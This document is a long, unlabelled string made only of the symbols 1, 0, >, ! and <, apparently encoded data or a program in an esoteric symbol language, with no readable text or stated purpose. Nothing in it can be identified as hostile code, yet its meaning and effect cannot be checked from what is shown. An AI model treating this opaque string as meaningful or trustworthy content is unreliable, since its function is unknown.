!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!<1010111>01!1!1!1!<>1!1!1!1!1>0>1!1!1!1!<>1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>10110>1!1!1!1!1!<>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!<>1!1!1>0>1>0>1!<>1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!<>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1!1>0>1!1!1!<>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!101101010111>01!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1!1!1!<>1!1!10110>1!1!1!1>0>1!101101010111>01!1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1!10110>1!1>0>1>0>1